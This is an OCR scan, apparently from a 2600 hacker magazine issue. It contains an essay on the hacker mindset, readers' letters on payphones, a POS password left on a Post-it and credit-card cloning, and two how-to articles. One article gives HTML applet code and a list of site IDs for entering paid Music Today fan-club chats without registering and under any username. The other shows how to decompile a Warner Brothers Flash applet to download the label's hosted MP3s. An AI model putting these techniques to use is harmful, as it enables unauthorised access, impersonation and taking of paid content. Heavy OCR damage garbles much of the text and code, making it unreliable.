crypted text, foo li n g  si g n ature a lg o rith m s ,  
b rea ki n g  p rotocols .  B ut h o n estly, that's j ust 
the way we secu rity people talk.  H a c ki n g  is­
n 't cri m i n a l. All the  exa m p les two pa ra­
g r a p h s  above were performed by res pected 
security p rofessi o n a ls ,  a n d  a ll were p re­
sented at security co nfe ren ces . 

I rem e m ber o n e  co nversati o n  I h a d  at a 
Crypto confere n ce ,  ea rly i n  my ca reer. It was 
o utsid e  a m o n gst the j u m b o  s h ri m p ,  ch oco­
late-covered strawberries ,  a n d  oth e r  d e lec­
tables.  A b u n c h  of us were talki n g  about 
s o m e  cryptogra p h i c  system ,  i n cludi n g  B ri a n  
S n ow o f  the  N S A .  S o m e o n e  described a n  u n ­
conventi o n a l  attack,  o n e  t h a t  di d n 't fo llow 
the n o r m a l  ru les of crypta n a lysi s .  I d o n 't re­
m e m ber  any of t h e  d etai ls ,  b ut I rem e m ber 
my res ponse after h e a ri n g  the  
d escri pti o n  of the  atta ck.  

"That's ch eati n g , "  I sai d .  
B eca use it was .  
I a lso rem e m b e r  B ri a n  turni n g  t o  loo k  a t  

m e .  H e  di d n 't s a y  anythi n g ,  but his  loo k  c o n ­
veyed everythi n g .  "Th ere's n o  such  thi n g  as 
c h eati n g  in this  busi n ess . "  

Because there i s n 't. 
H a c ki n g  i s  ch eati n g ,  a n d  it's h ow we get 

better  at secu rity. It's o n ly after s o m e o n e  i n ­
vents a n e w  atta ck that the  rest o f  us ca n 
fi g u re out how to d efe n d  agai n st it. 

For yea rs I h ave refused to p lay the se­
m a nti c  " h a c ker" vs . "cracker" g a m e .  There a re 
good h ackers a n d  bad  h ackers, j ust as there 
a re good electri ci a n s  a n d  bad electri ci a n s .  
" H acker" i s  a m i n dset a n d  a s ki ll set; what 
yo u do  with it i s  a different issue.  

And I beli eve t h e  best co m p uter secu rity 
experts h ave the  h acker m i n dset. W h e n  I 

loo k  to hi re people,  I loo k  fo r s o m e o n e  w h o  
ca n 't w a l k  i nto a sto re wit h o ut fi g u ri n g  o ut 
h ow to s h o p lift. I loo k  fo r s o m e o n e  who 
ca n 't test a co m p uter secu rity p ro g ra m with­
out tryi n g  to get a ro u n d  it .  I loo k  fo r s o m e­
o n e  w h o ,  w h e n  to ld that thi n g s  work i n  a 
p a rti c u la r  way, i m m ediately asks  how thi n g s  
stop worki n g  if y o u  do  s o m ethi n g  e lse .  

We n eed these people i n  security, and we 
need t h e m  o n  our  si de .  Cri mi n a ls a re a lways 
tryi n g  to fi g u re o ut h ow to b reak  security 
system s .  Fi e ld a n ew system - a n  ATM ,  a n  o n ­
li n e  ba n ki n g  system ,  a ga m b li n g  m a c h i n e  -
a n d  cri m i n a ls wi ll try to m a ke a n  i llegal  
p rofit off i t .  Th ey' ll fi g u re it out eventua lly, 
beca use s o m e  hackers a re a lso cri mi n a ls .  But 
if we h ave hackers worki n g  fo r us ,  t h ey'l l  fi g­
u re it o ut fi rst - and then we ca n d efe n d  o u r­
selves. 

It's our o n ly hope fo r secu rity in this fast­
m ovi n g  tec h n o logica l  world of o u rs .  
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Music Today 
by noir 

A lovely company ca lled M usic Today has recently ca ught my attenti on .  Music Today is a site that 
charges music bands money i n  exchange for hosti n g  band fan clubs. These fan clubs i n clude o n li n e  
chat, customized emai l  addresses , message boa rds,  o n li n e  merchandise shops ,  and  s ome  other useless 
crap .  

The  Story 
I ' ll admit, I did actua lly join one  of the band 's  fa n clubs ( no ,  not the Backstreet Boys) and  mostly 

j ust used the chat here and  there .  One  day I decided to look  a bit closer at the chat a nd  saw that they 
left a lot of chat parameters i n  the HTM L, rather than em beddi ng  it i nto the Java app let. I fi rst looked 
at the PARAM NAME  tag. The value for this was set to my registered username .  So what happens when 
you change  the va lue  and  load the page from loca lly on  you r  machi ne? Yes, it's that easy. The va lue  for 
this may not be obvious at fi rst. If you 've ever been a fan of a ny musi c ba nd ,  you know they have their 
fa natics. Loggi ng  i n  as a band  member was worth a c huckle the fi rst few ti mes .  After a whi le it got old 
and I j ust sta rted usi ng  it to use whatever screen name I felt li ke that day. 

The next thought I had about this was that if I cou ld load the page loca lly, did I rea lly need to log 
in? So I wou ldn 't have to worry about cleari ng  cookies and cache and a ll that stuff, I sent the HTM L fi le 
with modified name  to a friend who had never been part of any Music Today club .  Su re enough ,  turns 
out you don 't even need to be registered to load the chat! You would thi n k  a company interested in 
maki ng  money wou ld want their users to be payi ng  for the services. So the obvious next thought I had 
was how do I get on fa n clubs I haven 't paid for? That's wh ere the lovely 5iteID value comes in .  It 
seems at this ti me  that most of the va lues between 1002 and  1021 have an associated fan club chat. 
I didn 't bother to go below 999/0999 or  above 1025 ,  but there may be more. 

My fi na l  step at this point was to see how stripped down the code could get. You ca n stri p it q uite 
a bit actua lly. Enough  that I ca n i n clude it in this a rti cle. So a ll you have to do to start p layi ng  a round  
is set you r  username  and  pick whatever 5iteID you  want. Yea h ,  su re, I ' l l  attach the 5iteIDs as well. Feel 
free to try and stri p the code down more .  I 'm no  expert at this .  

So fa r the o n ly rea l restrictions  I 've found  on this is that you can not log i n  with the username  "Ad­
min" .  It i s  reserved .  The other reserved names wi ll va ry from fan club to fa n club and they a re the mod­
erator usernames .  There a re other secu rity measures i n  p lace to prevent these two classes of 
usernames from bei ng  used. Fi na lly, if somebody else is a lready logged in with the name  you ' re usi n g ,  
i t  wi ll tell you to  try agai n .  Feel free to  try addi ng  "&nbsp ; "  (a non-brea ki n g  space) t o  the end o f  t he  
username .  

(It has come  to  my attention  that  Music Today p lans  to  change thei r  chat client soon .  Have fun 
whi le you sti ll ca n ,  and  in the meantime ,  start looki n g  at h ow to p lay with Parachat code.)  

Chat Code : : : : :  

<html> 

<td id= " lb l S c ript " > < s c r ipt l anguage= ' Java s c ript ' >  i sMac = 

( navigator . appVers ion . indexOf ( " Mac " ) ! = - l )  ? true : f a l s e ; 

I Emac = ( ( document . a l l ) & & ( isMac ) ) ? true : f a l s e ; 

I Ewin = ( ( document . a l l ) & & ( navigator . appver s ion . indexOf ( " M S I E " ) ! = - 1 ) & &  

! i sMac ) ? true : 

f a l s e ; 
NS = ( navigator . appName . indexOf ( " Ne t s c ape " ) ! = - l ) ? true f a l s e ; 

document . wr i t e l n ( " <APPLET NAME = ' Dig iChat , 

CODEBASE = ' http : / / f anc lubchat . mu s i c today . c om / D i giChat / D i g iC l a s s e s / ' " ) ;  
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document . wr iteln ( " CODE= ' com .  diginet . digichat . c l ient . DigiChatApp let ' " ) ;  

document . wr i t e l n ( " HE I GHT= l O O  WIDTH=2 0 0  ALIGN= , MI DDLE , " ) ;  

i f  ( i SMaC ) 

document . wr i t e l n ( " ARCH IVE=C l i e nt_Mac . j ar MAYSCRIPT> " ) ;  

e l s e  i f  ( ! i sMac ) 

i f  ( I Ewin ) 

document . wr i t e l n ( " ARCH IVE=C lient_Plugin . j ar MAYSCRIPT> " ) ;  

document . write ( "  <PARAM NAME=cabbase value=C lient I E . c ab> " ) ;  

document . write ( "  <PARAM NAME=us e s l ibrary value=DigiChat App let> " ) ;  

document . write ( "  <PARAM NAME=name space value=Digi -Net> " ) ;  

document . write ( "  <PARAM NAME=u s e s l ibrarycodebase value=Cl ient_IE . c ab> " ) ;  

document . write ( "  <PARAM NAME=u s e s l ibraryvers ion value= 4 , 0 , 1 , 0 > " ) ;  

e l s e  i f  ( NS )  

document . write l n ( " ARCH I VE= ' C l i ent_NS . j ar ' MAYSCRIPT> " ) ;  

document . write ( "  <PARAM NAME =nic kname VALUE =Adrnin> " ) ;  

document . write ( "  <PARAM NAME = l anguage VALUE=eng l i s h . l ang> " ) ;  

document . write ( "  <PARAM NAME = s i t e I D  VALUE = 1 0 0 8 > " ) ;  

document . write ( "  <PARAM NAME=background VALUE = 6 0 6A6D> " ) ;  

document . write ( "  <PARAM NAME = s igned VALUE=true> " ) ;  

document . write ( "  <PARAM NAME=textcolor VALUE = O O O O O O > " ) ;  

document . write ( "  D i giChat requires a Java Compatible web browser to run . " ) ;  

document . write ( "  < /APPLET> " ) ;  

< / s c ript> < / td> 

< / html> 

END Chat Code : : : : :  

S i t e I D s : : : : : : 

1 0 2 3  

1 0 2 2  

1 0 2 1  

1 0 2 0  

1 0 1 9  

1 0 1 8  

1 0 1 7  

1 0 1 6  

1 0 1 5  

1 0 1 4  

1 0 1 3  

1 0 1 2  

1 0 1 1  

1 0 1 0  

1 0 0 9  

1 0 0 8  

1 0 0 7  

1 0 0 6  

1 0 0 5  

1 0 0 4  

1 0 0 3  

1 0 0 2  

1 0 0 1  

none 

none 

N I N  

Krewe o f  Roo 

Bac k s treet Boys 

Gretchen W i l s o n  

The Freak Parade 

Hick Hop Federation 

none 

Mike Doughty ( pw protected ) 

Xposed 

The Unedited Jewe l Chat 

Kenny Ches ney 

Good Charlotte 

Jern Chat 

Usher Wor l d  

Britney Spears 

ICON Chat 

Mu s ic Today 

none 

The Union H a l l  

S h a n i a  Twa i n  

" I nvalid Ho s t "  

END S i t e  I D s : : : : : :  
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Hac king WarnerJ'" • 
� Brothers Recor 

by cOz 
This tutori a L  wi LL tea ch you the methods i n ­

vo Lved i n  down Loadi ng the top  th ree songs  of 
most a rtists si gned with Wa rner  Brothers Records 
(WBR) , di rectly from thei r  own server, Lega LLy. 

Background Information 
Arti sts who sign with WBR get a nice LittLe 

Flash  site with a LL of their pictures, tou r  i nfo rma­
ti on ,  etc.  The majo rity of these sites have an  ap­
p Let that wi LL a llow you to p Lay a sma LL se Lection 
( usua LLy th ree) of the i r  h it  songs  i n  the back­
ground  whi le you roa m about their site. Some of 
these a rtists i n clude HIM,  My Chemica L  Romance, 
Stati c X, Madonna ,  j ust to name a few. 

The Exploit 
By usi ng a Flash  decompi ler  and  havi n g  a si m­

p Le knowLedge of Action scri pt. we ca n reverse 
engi n eer Wa rner Brothers' website, gain i ng  
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access to mp3s  directLy from thei r  web server. 
Target Acquisition 

Fo r this examp Le I wi LL use the  band HIM, Lo­
cated at http ://www. hea rtagra m . com .  The app Let 
mentioned is in the Lower Left hand  corner of the 
page. The bas ic  method discussed wi LL app Ly for 
the majo rity of a rti sts si g ned with WBR .  

Research 
Fi rst off, get the  .swf fi le that the  a ppLet uses . 

This can be done  by viewi ng  the source of the 
web page a nd  fi nd ing  the name  of the app Let. We 
can see that this page i s  LittLe more than  some 
CSS ,  a Little JavaScript, a nd  the FLash  embeddi n g .  
T h e  tag we  a re Looki ng for i s :  
{param name= "movie " val ue= "HIM-site3 . swf " /} 

Voi la , http ://www. h ea rtagram . com/HIM-site 
.. 3 . swf. This fi Le ca n be found  in your tempora ry 
Internet fi les or you couLd j ust down Load it. 

) ;  
, " , ' j ;  
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Decompile 
Next you wi ll n eed a n  SWF decompi ler. I prefer the Sothi n k  SWF Decompi ler. For the pu rpose of this 

demonstrati on ,  the demo wi ll work fi ne .  Proceed to open HIM-site3 . swf. 
In the right  pane l  labe led " Resources" of the decompi ler, open the "action "  tree. This contai ns  a ll of 

the action  scri pts used to contro l the SWF. View the "Ma in  Movie" code. 
Basica lly, when this movie loads it runs  a bandwidth test to determine  which qua lity of song to 

sta rt p layi n g .  The U RL to the fi le is then concatenated from variab les and arrays sta rti n g  on  li n e  67  of 
the script. 

II [ onCl ipEvent o f  sprite 1 4 6  in frame 1 4 ] 

onC l ipEvent ( load ) 

{ 

ptitle = new Array ( " KILLING LONE L I NE S S " , " W I NGS OF A BUTTERFLY " ,  " UNDER THE 

ROSE " , " BEHIND THE CRIMSON DOOR " ) ;  

palbum = new Array ( " FLAS HBACK " ,  " F l ashback " ,  " F l ashback " ,  " fla s hbac k " ) ;  

pURL = new Array ( " k i l linglonelines s " ,  "wingsof abutterfly " , " underthero s e " , " be -

h indthecrimsondoor " ) ;  

bas eURL = ' ' http : / / down load . wbr . com/ h imtrax/ audioswf s / ' ' ; 

h i SpeedURL = "_hi . swf " ; 
loSpeedURL = " _lo . swf " ; 

The base U RL is the server the mp3s  a re hosted on .  This would be fo llowed by a n  item from the 
p U R L  a rray and  fi na lly the bandwidth U RL: 
baseURL + pURL + hiSpeedURL 

'h t tp://download.wbr.com/h imtrax/a udi oswfs/ ' + 'killinglon eli ness ' + ' hi.swf ' 

h t tp://download.wbr.com/h imtrax/a udi oswfs/killi n glonelin ess_hi.swf 

The next step is to down load this fi le and  open it in the SWF decompi ler. 

Download complete ITIl c-. B 

Download Complete 

Saved: 

4 ,07 Me in ! sec 
Download to: \lQIIingIoneIiness J1I, swf 
Transfer rate : 4 ,07 MB!Sec 
0t��·ii]ii_�i.i!i9.ii �,��;(';��� 

Qpen 1 [OiieO�1 1 Close 

Extraction 
In the resou rces panel, open the "sound "  

tree. Se lect the o n ly sound "streamsound 0 "  
and  check  the box  next to  i t  to  mark i t  for ex­
port. C li ck  the " Export Resou rce" button and  
se lect a location  to  save i t  to . 

Rename  you r  newly conquered mp3 ,  take a 
deep breath ,  a nd  la ugh  at the record compa ny. 
Congratu lations .  You saved 99  cents. 

More a rti sts hosted by Wa rner  Brother's 
Records can be found  at http ://www.wa rner 
.. brosreco rds .com/fi nd . p hp .  

It Sound �I:iill 

',kJH!nglOilelirless _h!\Sound v � Go e) ,t.eomS(lOJn(iLmp3 
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Jibber-Jabber 
Experiences 

Dear 2600: 
I have a fun ny story to relate to readers of 2600. I 

was in the DC a rea recently and  I went to the Nationa l  
C rypto logic Museum right  next to the headqua rters of  
the NSA at Fort Meade .  It's a fai rly good m useum,  a l­
though  I knew much  more of the sto ries told than did 
the m useum g uide herself. (Also,  she  was a bit un­
abashedly g ung-ho p ro-Ameri ca n .  I was happy with the 
way most of the historica l stories she  to ld turned out, 
but her tone was a bit condescend ing  and every thi ng­
n on-American-is-evi l . )  It' s · a lso fun to p lay with a n  
actua l  En igma mach ine .  

I went i n  to the little gift shop  i n  the m useum on 
my way out and  there was  one  of those POS th ings 
which i s  essentia lly a PC attached to a laser scanne r  and 
cash d rawer. Attached to the bottom of the nice flat­
screen monitor was a la rge Post-It note with the words 
" Password : XYZrf" (actua lly, I did n 't write down the rea l 
password ) .  

That merely a few hund red meters from t h e  center 
of the U .S .  government's crypto logic might, this was 
considered good secu rity i s  ki nd  of a b last. I tried to 
ta ke a pictu re (I was hoping to wi n that free 2600 sub­
scri ption  with a good back page picture ! ) ,  but they 
wou ld n 't let me .  Mo re's the shame . . . .  

auto456565 

Dear 2600: 
Please accept my tha nks  fo r a g reat magazi n e !  I ap­

p reciate the many i nteresti ng  a rticles ! 
I am currently a Li nux device d river engi neer and  

have been  wo rki ng/playi ng  with Li nux and  Unix for 
nea rly 25 yea rs. Which exp lai ns  why I am the neophyte 
that I am when it comes to p hones .  I use phones for 
thei r  p u rpose, d utifully pay for my use, a nd  move along 
with life . 

It is with this naivete that I wou ld li ke to cry on  
you r  collective shou lders about the fo llowi ng i n cidents 
that happened to me in November, 2005 .  

I was i n  a sma ll town i n  central Oregon ca lled De­
troit. I needed to make a semi-emergency cal l  to work 
after I discovered that I had made a mista ke i n  a p re­
sentation  to my ma nager about some Li nux devi ce d ri ­
ver problems they were havi n g  a nd  a n  answer sudden ly 
ca me  to my mind  when I was d rivi ng  to vacation .  
( Doesn 't it a lways ha ppen that  way? ) 

Well, I stopped at the loca l general  store which had  
the o n ly payphone  i n  the center of town .  The payphone 
was not a Quest payphone .  The company label on  front 
had somethi ng  li ke "Call America"  on  it. It said that a 
five m in ute call to a nywhere in the country was $ 1 .00 .  

Well, I would need two do lla rs i n  qua rters. One  

wou ld be a ca ll to  information  to  get  n nu  
fo r my company and  the othe r  for the ca l l  itse lf. 

I got the n umber and  ca lled the company's mai n 
num ber. When you call the main n umber fo r the com­
pany that I work for, you a re given n umerous  menus  
that  a n  employee ca n use to  fi nd  the work  n umber for 
another employee. 

This i s  when I found  out that the touch tone but­
tons on the payphone  were somehow disabled . I was 
able to use them to make the ca ll to the compa ny, but 
when the connection  was made the touch tone buttons  
were disab led . Fortunately, my company's system has a 
fall-through to a human  operator if one  does not have 
touch tones. Unfo rtunately for me ,  the five min utes fo r 
my do lla r ran out and  I was disconnected . 

At this time ,  I went i nto the store and  bought one  
o f  those $5 .00 for 30 min ute calli n g  cards t h a t  conve­
nience stores sell. 

I went back out to the payphone  and  tried to use 
the ca rd to call the main number  at my company. (M i nd  
you ,  t h i s  is  the same ma in  n umber t hat  I j ust d ia led less 
than ten min utes p rio r  to goi n g  i nto the store to get 
the card . )  When I tri ed to call with the ca rd , I got a 
number out of service redi rect (you know, the th ree 
tones and  "the number you have reached can n ot be di­
a led, p lease check the n umber and  d ia l  again"  record­
i ng ) .  The main number fo r my company was in Santa 
Cla ra ,  Ca liforn ia .  It was not overseas .  I ca lled the cus­
tomer service number on  the card and complai ned .  The 
person said there was nothi ng  they could do .  Some­
th ing li ke some payphones don 't a llow you to call a ny­
where. Which I thi n k  is q uite i nteresti n g  as I j ust ca lled 
the sa me n umber usi ng  cash .  

I tried about five ti mes and  g o t  t h e  s a m e  thi ng .  At 
this point I gave up ,  went back i nto the store, a nd  
asked the clerk (who ,  fo rtunately, was  understand ing )  
fo r th ree do llars worth of quarters. A rmed  with these, I 
was able to get a call through  to ou r  switchboard,  asked 
to be connected to my team lead ,  and got my message 
through .  

Why wou ld the touch  tone  keys on  a payphone  be 
disab led when the ca lled pa rty i s  reached? I have used 
Qwest payphones i n  the past and  did not have this 
problem .  Is this un ique to non  phone company owned 
payphones? Is it a regu latory qui rk? In fact, do  the FCC 
regs say anythi ng  about whether o r  not the touch tone  
pad  shou ld be disab led o r  kept enab led? 

Also,  why i n  heck would a ca lli n g  card b lock Santa 
Cla ra ,  California? Is there someth ing  about Santa Clara 
(a rea code 408) that cause some calli n g  ca rd compa nies 
to squirm? What about payphone  users ca lli n g  i nto 
Santa Clara? 
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I would g reatly app reciate a ny light  you fo lks can 
sh ine  on this issue .  

Cleara 
The disabling of touch tones is nothing new. Usu­

ally it's to prevent you from doing something that by­
passes the phone's ability to take your money, such as 
using a calling card. Sometimes it's just a misconfigura­
tion. This is what necessitated the carrying of portable 
tone dialers back in the 80s. And the rest, as they say, 
is history. 

Apparently the tones on this phone weren't dis­
abled when you called the access number for the calling 
card. Some phones only disable the tones once coins 
are put in for reasons that we cannot fathom. The ex­
planation you were given by the calling card company 
makes no sense since the restriction wasn't coming 
from the payphone but from their service. We can rule 
out the 408 area code not being in their database as 
that area code has been around forever. It's possible 
your exchange wasn't in their database although most 
of these "intelligent" phones don 't need to have a data­
base of every single exchange in the country since such 
a list would constantly be changing. If the area code 
exists, the call should be attempted and if the exchange 
is bad you should get an error from whatever telco 
places the call. We assume you tried other numbers 
with this calling card without running into this prob­
lem. If not, make sure this isn 't a dialing format issue. 
Otherwise you most definitely have a legitimate gripe 
with this company as well as with the operators of the 
payphone. Be sure to pursue this. 

Decent telephone policy is only achieved through 
constant bitching. 

Dear 2600: 
At the time I am  writi ng  this I am  worki ng  on a Pen­

ti um  2 computer that  was considered broken by the 
p revious  owner. The man  i s  a n  A+ certifi ed computer 
tech fo r a loca l ISP. I was crestfa llen when I heard h im 
say  that .  I tri ed anyway to  f ix  th i s  monster. You wa nna  
know what  was  wrong?  Corrupted ha rd d rive. That's it. 
Now this guy has  more experience than I ca re to know 
of. To thi n k  that a p u n k  ki d can get it runn ing  i n  under  
ten  m inutes is  quite shocki ng .  I have a lways been  tech­
no logica lly i n cli n ed ,  su rrounded by towers of humming  
beauties .  When  I was  bu t  a sma ll kid I was  on  my  dad 's  
la p typi ng  away at a DOS mach ine .  At fou r  I had my first 
chess match . At six I wanted to bu i ld robots and have 
been wrist deep in wi res and  solder since. I have the 
sca rs from the hot F lux to p rove it. I have a lways had a 
computer but unti l recently I never cared enough  to 
lea rn .  I was part of the m ind less masses. Now I am sit­
ti ng  here in my own barn fu ll of computers and  equip­
ment. I remember booti n g  i nto a 56K  modem for the 
f i rst  ti me,  though my age at the ti me escapes me .  I 
than k  my dad fo r a lot of this .  He taught me how to so l­
de r  at a young  age .  I bu i lt a robot at the age of ten ,  
t h o u g h  i t  was a kit. I never stopped aski ng  questions  
when I entered my teen yea rs. In fact, that's when I 
sta rted aski ng  more a nd  mo re .  I beige boxed my nei gh ­
bors and  r an  port sniffi ng  programs  on Wi Fi netwo rks I 
found .  I don 't want to harm or cause damage .  I bought 
a CD-ROM the other  day for another computer of mine .  
Sadly, it was bro ken . But you  know what? I opened the 
case and  fixed the p iece of p lastic that broke.  That's 
rea l hacki n g .  I 'm 18 now and have learned so much .  

I have o n ly th ree 2600 magazi nes but let me  tell you 
the fi rst one I ever picked up  changed my life. I went 
from a kid who li ked to dabble i nto a full fledged 
techno-lover. I ca n never than k  you g uys enough .  I 
used to thi n k  the Internet was IT. The rea l  deal .  No ,  
no ,  that's a facade p ut u p  by  bri lli ant  men .  I can o n ly 
asp i re to be them.  I am the second  ho lder  of the torch .  
I o n ly hope I ca n ho ld it as well as  the fi rst. I owe  you 
people more than I ca n pay. You saved me  from a life of 
mediocrity. 

BigBrother 

Dear 2600: 
In 22 :4,  reader  Adria went i nto some detai l about a 

recent credit/debit ca rd clon ing  event perpetrated 
upon his/her sister. The editors of 2600 a lso expressed 
a n  i nterest in methods by which these cloni ng  events 
a re perpetrated .  I have a lso recently been a victim of 
credit card c lon ing  and wou ld li ke to offer my i n sight  
based upon my experience and  conversations  with 
other Europeans .  

My fa mi ly and  I moved to  Ita ly i n  J u ly 2005 .  Not 
more than fou r  months after livi ng  here,  we found  that 
somehow, someway, ou r  most com m o n ly used credit 
ca rd had been comp romised.  Some crim ina l  e lement 
had decided to he lp themselves to about $6000 worth 
of merchandise,  a ll pu rchased i n  Ista nbu l, Tu rkey. We 
found  this ha rd to beli eve as we watch ou r  tra nsactions  
li ke hawks ,  keep  a nd  later destroy a ll recei pts, a nd  pay 
off our balance at least monthly. Also,  o u r  credit ca rd 
was never out of ou r  possessi on  . . .  or was it (more on 
this common  fa ux pas later)? Needless to say, this was  
a swift punch  i n  the gut. 

Fortunately, our credit card company absolved us of 
the stolen money, but on ly after severa l steps were 
taken .  Fi rst, we had to call the credit card company a l­
most dai ly fo r several days and  dispute the charges.  
What made matters worse was that each ti me  we ca lled ,  
we spoke to a different representative. The different 
representatives did n 't seem to have any common 
knowledge about the case  that  was  started on ou r  ac­
count and we often had to explain more than once that 
we actua lly did n 't make any of the pu rchases that ap­
pea red on ou r  statement fo r the dates and  locations  of 
the crim ina l  transactions .  We a lso had to fi ll out a nd  re­
turn a sho rt affidavit assuri ng  the credit card company 
that we did not make the pu rchases that we disputed 
and  we had to make an  itemized li st of a ll the transac­
ti ons  we wished to dispute. It was comp letely stressfu l 
a nd  a giganti c  pain in the ass but, in ou r  case, it was 
actua lly rectified rather quickly. 

Not comp letely trusti n g  the credit card company 
( imagine that! ) ,  I decided to take some measures i nto 
my own hands .  I made a visit to the lega l  office of the 
base at which my wife is  stationed .  The imp ression  I re­
ceived when talki n g  to the lega l  a ide was that the 
Judge Advocate General  (JAG) wasn 't i nterested i n  pu r­
sui n g  this type of credit card fraud beca use it was not 
perpetrated by another mi lita ry member  or dependent. 
The aide a lso i n di cated that the Office of Specia l  Inves­
tigation  (051) would not be interested in i nvestigati n g  
t h i s  type o f  crime  perpetrated against American mi li ­
ta ry mem bers ab road .  As Adria  observed , law enfo rce­
ment everywhere doesn 't seem wi lli n g  to touch credit 
card fraud .  Fo r what it was worth , I a lso contacted all 
the major  credit b u reaus and issued fra ud a lerts i n  both 
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my wife's name a nd  my own . A fi n a l  p recaution  I took 
was loweri n g  the credit li mit of a ll my active cards to a n  
amount that, if fo r s ome  reason the credit card com­
pany would n ot back me up  on, I cou ld pay off out of 
savi ngs  without batti n g  a n  eye la sh .  Incidenta lly, I a lso 
ca lled my credit card companies and asked if there were 
a ny fu rther p recautions  I cou ld imp lement upon my 
credit cards. They had no solutions .  

Relati n g  my sto ry to  a B riti sh  friend  of mine ,  he  
opened  my eyes to  the scourge of credit ca rd  fraud i n  
t h e  U . K .  a n d  Europe.  Appa rently, Germany leads  Europe 
i n  compromised credit ca rds .  Most credit cards compro­
mised i n  Europe fi nd  themselves c loned and used in 
Tu rkey and other pa rts of the M idd le East .  My friend  
turned  me  on  to some common methods i n  wh ich  credit 
cards a re stolen :  (1) Penci l and paper :  it doesn 't take a 
genius to copy down a ll of a credit card's perti nent i n ­
formati on  i n  o rde r  to have enough  data to c lone  i t ;  ( 2 )  
A magnetic strip reader :  these can be as sma ll a s  a de ­
vice that  you  a re ab le to  keep i n  your  pocket. Anyone  
other than you ,  i . e . ,  a waiter, cou ld easi ly swipe your  
i nfo rmation  i nto the i r  persona l  reader  before cha rgi ng  
you r  meal  at the restau rant o r  cafe to  you r  credit ca rd ; 
( 3 )  Sniffers (p hysical or softwa re) a re p laced between 
the ti ll a n d  the bank .  I am told that the phone  li nes be­
tween stores a nd  banks  i n  many European countri es re­
qui re no handshaki ng  or  authenti cation  between the 
store and  the bank  and  that transmissi ons  a re not en­
crypted .  Someone wanti ng  to co llect massive amounts 
of credit card i nformation  could i n sert a physi ca l device 
somewhere between the ti ll of the sto re/resta urant or 
bank  and j ust co llect credit card n um bers on  a periodic 
basis. 

Apparently, credit card fraud was so ram pant i n  the 
U .K .  a nd  France a few years ago that thei r  governments 
had to step in and  a new method of authentication  was 
i ntroduced :  the chip-and-PIN.  My understand ing  is  the 
fo llowi n g :  each chi p-and-PIN card has  a ch ip  resi di ng  
on  the card with a un i que  identifier a n d  a P IN  associ­
ated with that identifier, both created and issued by 
the bank .  In o rder to complete a tran sacti on ,  the card 
i s  inserted i nto a s lot reader ( li ke a CAC reader, not a 
s lider  fo r read ing  magnetic stri ps) a nd  the PIN entered 
by the possessor of the credit card. If the ch ip-and-PIN 
i nfo rmation  at the ti ll does not match the information  
the bank  has  on  fi le, the tra nsaction  fai ls .  I f  you  forget 
o r  lose your PIN ,  your card is  useless and you m ust con­
tact the bank  for a new card . Obvious ly, this i sn 't a bu l­
letproof so luti o n .  But it has  cut down on credit ca rd 
fraud in the U . K . a nd  France.  I am told by some loca ls 
that Ita ly p lan s  on imp lementi ng  the chi p-a nd-PIN 
system sometime  i n  2006 o r  2007. 

I apo logize fo r the lack of technica l  detai ls and ref­
erences but this i nformation  is a mix of fact, specula­
tio n ,  a n d  hea rsay. That bei ng  said ,  simp ly enteri ng  
" c h i p  and  PIN "  perhaps with "credit card fraud"  i n  you r  
favo rite sea rch engi ne  will yi e ld many he lpfu l resu lts . 
Credit card fra ud seems li ke one  of the redheaded 
stepchi ld ren that law enforcement don't bother investi­
gati n g  often ,  leavi ng  i ndividua ls at the m ercy of credit 
issuers .  My advice to rectifying  credit card fraud perpe­
trated upon  you is  to try and remai n as calm as possi­
b le,  try to get as many facts about you r  transactions  
a nd  the fraudu lent tra nsactions  as possi b le, a nd  be 
fi rm and consistent when talki n g  with the credit issuer, 

ta ki n g  copious  notes a long  the way. In my case, i nves­
tigati n g  the sto res that accepted the card was useless 
as I wasn't goi n g  to spend ti m e  and money calli n g  a nd  
traveli ng  t o  Tu rkey. I a m  not confident that conducti ng  
your  own  i nvestigation  i nto stores t ha t  accepted your 
card i n  you r  native country wou ld yie ld positive resu lts, 
but who knows? My advice for fu rther p rotecti n g  you r  
credit cards i s  t o  never let you r  card o u t  of you r  sight. If 
you pay for a meal  at a resta u ra nt, i n sist that you go 
with the waiter to the ti ll i n  o rder to complete the 
transacti on .  Don 't ever let you r  card out of you r  si ght .  
One  quick swi pe is  a ll it takes!  A lso,  consider loweri n g  
you r  credit li mit. Many  of us a re worki n g  p rofessiona ls 
and  a re offered much  mo re credit than we need at any 
given ti me .  Consider you r  spendi n g  and fi nances. D ro p  
the cei li n g  on  your  card t o  somethi ng  more app rop riate 
for regu la r  use and  pa latab le fo r those surprise crim ina l  
transactions .  Fi na lly, c heck  you r  o n li n e  statement a t  
least weekly. Th i s  wi ll a llow you  to  identify and  report 
a ny fraudu lent transacti ons  quickly. Of course, the  best 
so lution  would be credit card absti n ence, but unfortu­
nately some of us  m ust make use of credit cards on  a 
dai ly basis in order to conduct business .  

Hopefu lly this i nfo rmation  wi ll generate more in­
fo rmed responses and  i nvesti gations  i nto the underly­
i n g  techno logies of credit card fraud so that we may 
better p rotect ou rselves. 

AcideviL 
It will certainly be interesting if everyone insists on 

accompanying waiters to the cash registers whenever a 
credit card is used in a restaurant. It's important to pay 
attention to what's happening with your credit card but 
at  the same time if you 're inconveniencing yourself in 
the process, you're not really accomplishing all that 
much. The most important thing is  to know your rights 
and to realize that you are not in any way responsible 
for any fraudulent charges that may appear. 

Dear 2600: 
For the past severa l yea rs, I've been readi ng  2600 

with i nterest at my loca l Borders Bookstore. Whi le I 
don 't necessa ri ly understa nd everything that is fea­
tu red i n  the a rticles, you r  magazi n e  shows that creativ­
ity can/shou ld be rewa rded i nstead of pun ished .  I've 
even encouraged several of my students to read 2600 
and  that's it's OK to show others flaws in systems  as 
long  as you r  discovery doesn 't harm anyone/anyth ing 
and  is  put to p ractical  use .  

Practica lly every issue has  a letter from a student 
who has  either been banned and/or punished for ex­
p loiti n g  a wea kness in his school's  web servi ces. I, my­
self, have had my fai r sha re of run-i n s  with 
ana l-retentive "h igh  and mighty" admins  rega rdi ng  
what  and  how fi lteri ng  is  done .  The  mere fact t ha t  they 
so h igh ly rega rd web-based fi lteri ng  tech nology is be­
yond  me. Websites that have nothing to do with 
weapons ,  etc. a re blocked ,  often fo r rid iculous reasons !  
Ca se  i n  point: back  i n  December whi le I was  coveri ng  a 
class (teachers gotta make a few extra do lla rs here a nd  
there) , I wa s  loo ki ng  u p  pa rts fo r my truck. One  website 
was b locked due to "wea pons"  content. What were the 
"wea pons?"  Spray guns for painti n g  body pa rts . What 
does that tel l  you? That the "fi lteri ng "  systems obvi­
ous ly a ren 't a ll they a re cracked up  to be!  

